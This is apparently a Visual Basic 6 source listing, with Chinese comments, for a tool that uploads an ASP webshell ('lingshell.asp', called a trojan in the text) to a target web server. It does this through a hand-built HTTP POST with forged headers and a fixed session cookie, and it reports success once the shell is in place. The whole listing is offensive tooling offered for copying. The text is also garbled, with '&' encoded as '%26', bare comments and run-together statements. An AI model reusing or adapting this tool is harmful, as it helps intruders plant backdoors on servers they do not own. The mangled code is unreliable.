Private Sub Command1_Click()
Winsock1.RemotePort = Text3.Text
Winsock1.RemoteHost = Text2.Text
Winsock1.Connect
Command1.Enabled = False
Me.Timer2.Enabled = True
End Sub Private Sub Timer2_Timer()
If InStr(Text6.Text, "lingshell.asp") Then
Me.Timer2.Enabled = False
MsgBox "上传成功!! 木马已经上传到 http://" %26 Text2.Text %26 "" %26 Text4.Text %26 " 这个位置的目录下.WebShell文件为 lingshell.asp", , "恭喜"
Else
Me.Timer2.Enabled = False
MsgBox "上传失败!", , "警告"
End If
End Sub Private Sub winsock1_Connect() 定义提交部分包头和数据 精华所在 Dim PostPOST
Dim PostAccept
Dim PostReferer
Dim PostAcceptLanguage
Dim PostContentType
Dim PostAcceptEncoding
Dim PostUserAgent
Dim PostHost
Dim PostContentLength
Dim PostConnection
Dim PostCacheControl
Dim PostCookie
Dim PostDATA
Dim TopPostDATA PostPOST = "POST " %26 Text4.Text %26 " HTTP/1.1"
PostAccept = "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, application/x-shockwave-flash, */*"
PostReferer = "Referer: http://" %26 Text2.Text %26 "/"
PostAcceptLanguage = "Accept-Language: zh-cn"
PostContentType = "Content-Type: application/x-www-form-urlencoded"
PostAcceptEncoding = "Accept-Encoding: gzip, deflate"
PostUserAgent = "User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 9.1; linghao ; www.chinanethack.com)"
PostHost = "Host: " %26 Text2.Text %26 ""
PostContentLength = "Content-Length: 7044"
PostConnection = "Connection: Keep-Alive"
PostCacheControl = "Cache-Control: no-cache"
PostCookie = "Cookie: ASPSESSIONIDGGGGGSDQ=AMBLGJAACHFIJNEDMGGEHCHF"
PostDATA = Text1.Text TopPostDATA = PostPOST _
%26 vbCrLf %26 PostAccept _
%26 vbCrLf %26 PostReferer _
%26 vbCrLf %26 PostAcceptLanguage _
%26 vbCrLf %26 PostContentType _
%26 vbCrLf %26 PostAcceptEncoding _
%26 vbCrLf %26 PostUserAgent _
%26 vbCrLf %26 PostHost _
%26 vbCrLf %26 PostContentLength _
%26 vbCrLf %26 PostConnection _
%26 vbCrLf %26 PostCacheControl _
%26 vbCrLf %26 PostCookie %26 vbCrLf _ Winsock1.SendData TopPostDATA End Sub Private Sub Command2_Click()
Winsock1.Close
Command1.Enabled = True
End Sub Private Sub winsock1_DataArrival(ByVal bytesTotal As Long) Dim HX As String
Winsock1.GetData HX
Text6.Text = HX
End Sub Private Sub Form_Load()
MsgBox "版权www.chinanethack.com-零号所有 欢迎大家抄袭改进!"
End Sub 这里要使用时间控件来判断是因为返回有个时间间隔问题.而且如果你提交的字节数不规范服务器有可能不响应你.所以用时间判断返回是比较合理的.代码写得不好,望见谅" TopPostDATA = 你的木马 使用POST
